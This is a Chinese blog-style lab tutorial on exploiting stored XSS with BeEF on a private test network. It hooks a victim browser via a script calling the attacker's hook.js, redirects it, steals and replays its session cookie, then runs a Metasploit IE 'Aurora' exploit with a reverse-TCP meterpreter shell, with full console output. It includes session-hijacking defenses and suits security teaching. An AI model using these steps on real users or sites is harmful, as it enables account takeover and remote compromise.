【XSS漏洞07】基于神器beEF的XSS漏洞利用实验(浏览器劫持、会话劫持、GetShell)

1 实验简介

1.1 实验目的

  1. 加深对XSS漏洞的理解;
  2. 了解beEF的使用。

1.2 实验环境

  1. 服务器:win2008,IP地址为192.168.1.5。部署WAMP环境并之前写过一个的简陋论坛网站,启动phpstudy,确保论坛能被访问。
  2. 靶机:winxp,IP地址为192.168.1.6。
  3. 攻击者:kali,IP地址为192.168.1.128。安装有beEF。

2 实验一:浏览器劫持

2.1 概述

  1. 定义:
    1. 从软件方面来说,它是一种恶意程序,通过DLL插件、BHO、WinsockLSP等形式对用户的浏览器进行篡改,使用户浏览器出现访问正常网站时被转向到恶意网页、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址等异常情况。
    2. 从技术方面来说,它是一种常见的在线攻击类型,黑客可通过这种方式控制的计算机的浏览器,并更改网上冲浪的方式和冲浪时所显示的内容。
    3. “浏览器劫持”,通俗点说就是故意误导浏览器行进路线的一种现象。
  2. 常见的浏览器劫持现象有:
    1. 访问正常网站时被转向到恶意网页;
    2. 当输入错误的网址时被转到劫持软件指定的网站;
    3. 输入字符时浏览器速度严重减慢
    4. IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址
    5. 自动添加网站到“受信任站点”
    6. 不经意的插件提示安装
    7. 收藏夹里自动反复添加恶意网站链接等
  3. 危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。

2.2 实验步骤

  1. 首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户,在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为姜太公钓鱼,留言内容如下:<script src="http://192.168.1.128:3000/hook.js"></script>愿者上钩
    在这里插入图片描述
  2. 然后,受害者xinXP由于受到某种诱惑,用a账号访问了该简陋论坛网站,并点开了该留言内容,出现以下界面。
    在这里插入图片描述
  3. 回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
    在这里插入图片描述
  4. 在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
    在这里插入图片描述

3 实验二:会话劫持

在《Session基础知识、应用案例代码及攻防》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。

3.1 概述

  1. 含义
    会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
  2. 攻击步骤
    1. 目标用户需要先登录站点;
    2. 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
    3. 攻击者通过某种攻击手段捕获Session ID;攻击者获取SessionID的方式有多种:
      • 暴力破解:尝试各种Session ID,直到破解为止;
      • 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
      • 窃取:使用网络嗅探,XSS攻击等方法获得。
    4. 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
      在这里插入图片描述
  3. 防御方法
    1. 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
    2. 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
    3. 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
    4. 关闭所有phpinfo类dump request信息的页面。
    5. 验证HTTP头部信息。
    6. 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

3.2 实验步骤

  1. 先按浏览器劫持的方法,让鱼儿上钩。
  2. 窃取Cookie。选中鱼儿,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie: cookie=name=a;
    在这里插入图片描述
    在这里插入图片描述
  3. Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:document.cookie="name=a"刷新,可以看到首页登录了账号a。
    在这里插入图片描述

4 实验三:GetShell

4.1 概述

利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。

4.2 实验步骤

  1. 该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。
  2. 输入命令msfconsole启动该功能。启动过程如下,等得有点久。
    在这里插入图片描述
  3. 输入以下命令设置参数
    1. use exploit/windows/browser/ms10_002_aurora
    2. set payload windows/meterpreter/reverse_tcp
    3. set SRVHOST 192.168.1.128
    4. set LHOST 192.168.1.128
    5. show options
    6. exploit
    7. 执行过程中终端命令行如下:
msf6 > use exploit/windows/browser/ms10_002_aurora
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp       
                         
msf6 exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp             
payload => windows/meterpreter/reverse_tcp

msf6 exploit(windows/browser/ms10_002_aurora) > set SRVHOST 192.168.1.128
SRVHOST => 192.168.1.128

msf6 exploit(windows/browser/ms10_002_aurora) > set LHOST 192.168.1.128
LHOST => 192.168.1.128

msf6 exploit(windows/browser/ms10_002_aurora) > show options

Module options (exploit/windows/browser/ms10_002_aurora):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.1.128    yes       The local host or network interface to listen on. This must be
                                       an address on the local machine or 0.0.0.0 to listen on all add
                                       resses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated
                                       )
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   Automatic

msf6 exploit(windows/browser/ms10_002_aurora) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.128:4444 
[*] Using URL: http://192.168.1.128:8080/YNEcJavU6o
[*] Server started.
  1. 复制执行过程中倒数第二行代码的网址http://192.168.1.128:8080/YNEcJavU6o,作为目标靶机重定向的网址。选中靶机→选择命令redirect browser→黏贴网址箭头执行。
    在这里插入图片描述
  2. 执行后我们可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。
msf6 exploit(windows/browser/ms10_002_aurora) > [*] 192.168.1.6      ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 192.168.1.6
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.6:1117 ) at 2022-02-25 13:13:43 -0500
  1. 使用命令sessions -i查询会话列表,使用命令sessions -i -1切换至ID为1的会话。
  2. 使用ps命令,查看有哪些进程,执行过程如下。
meterpreter > ps

Process List                                                                                            
============                                                                                                                 
                                                                                                                             
 PID   PPID  Name               Arch  Session  User                 Path                                                     
 ---   ----  ----               ----  -------  ----                 ----                                                     
 0     0     [System Process]                                                                                                
 4     0     System             x86   0                                                                                                    
 176   664   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe                                            
 392   620   logon.scr          x86   0        WINXP-1\du           C:\WINDOWS\System32\logon.scr
 532   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 572   664   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
 596   532   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 620   532   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 664   620   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 676   620   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 832   664   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 844   664   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 856   664   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 924   664   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1020  664   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1072  664   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1168  664   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1308  844   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.exe
 1464  664   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1540  1600  IEXPLORE.EXE       x86   0        WINXP-1\du           C:\Program Files\Internet Explorer\iexplore.exe
 1568  1020  wscntfy.exe        x86   0        WINXP-1\du           C:\WINDOWS\system32\wscntfy.exe
 1600  1576  explorer.exe       x86   0        WINXP-1\du           C:\WINDOWS\Explorer.EXE
 1680  1664  conime.exe         x86   0        WINXP-1\du           C:\WINDOWS\system32\conime.exe
 1696  1600  vmtoolsd.exe       x86   0        WINXP-1\du           C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1704  1600  ctfmon.exe         x86   0        WINXP-1\du           C:\WINDOWS\system32\ctfmon.exe
  1. 使用命令getpid查看当前是哪个进程。查看结果为1540,也就是浏览器进程。
  2. 使用命令getuid查看当前用户。
  3. 使用命令migrate+进程号 切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。

5 总结

  1. 加深理解XSS漏洞的利用和危害;
  2. 了解beEF工具的使用;
  3. 掌握浏览器劫持的攻击方法;
  4. 掌握会话劫持的攻击方法;
  5. 掌握通过XSS漏洞GetShell的方法。
  • 2
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于爬虫的XSS漏洞检测工具设计与实现是指利用爬虫技术来自动化地扫描和检测网站中的XSS漏洞。以下是一个基于爬虫的XSS漏洞检测工具的设计与实现的简要介绍: 1. 设计思路与流程: - 定义目标:确定要检测的目标网站。 - 爬取网页:使用爬虫技术,自动爬取目标网站上的所有页面。 - 分析页面:对每个爬取到的页面进行解析和分析,提取潜在的XSS漏洞点。 - 构造攻击:为潜在的XSS漏洞点构造恶意攻击代码,注入到页面中。 - 漏洞验证:访问注入后的页面,检测是否触发XSS漏洞。 - 漏洞报告:生成详细的漏洞报告,包括漏洞点的位置、类型和可能的影响等信息。 2. 工具的关键功能: - 爬虫模块:实现自动爬取目标网站上的所有页面,并保存在本地。 - 解析模块:对抓取到的页面进行解析,提取出其中的HTML、JavaScript和DOM元素等关键信息。 - 漏洞检测模块:根据XSS漏洞的特征和规则,检测页面中是否存在潜在的XSS漏洞点。 - 恶意代码注入模块:为潜在的XSS漏洞点构造恶意攻击代码,并注入到页面中进行漏洞验证。 - 漏洞报告模块:生成详细的漏洞报告,包括漏洞点的位置、类型和可能的影响等信息。 3. 实现技术和工具: - 使用Python编程语言来实现整个工具,利用Python的爬虫库(如BeautifulSoup、Scrapy等)进行网页爬取和页面解析。 - 利用正则表达式来提取和匹配页面中的潜在XSS漏洞点。 - 使用JavaScript来构造恶意攻击代码,并注入到页面中进行漏洞验证。 - 生成漏洞报告可以采用HTML格式,并使用CSS样式进行美化展示。 总之,基于爬虫的XSS漏洞检测工具通过自动化地爬取、解析、检测和验证目标网站上的页面,能够帮助网站管理员及时发现并修复XSS漏洞,提高网站的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值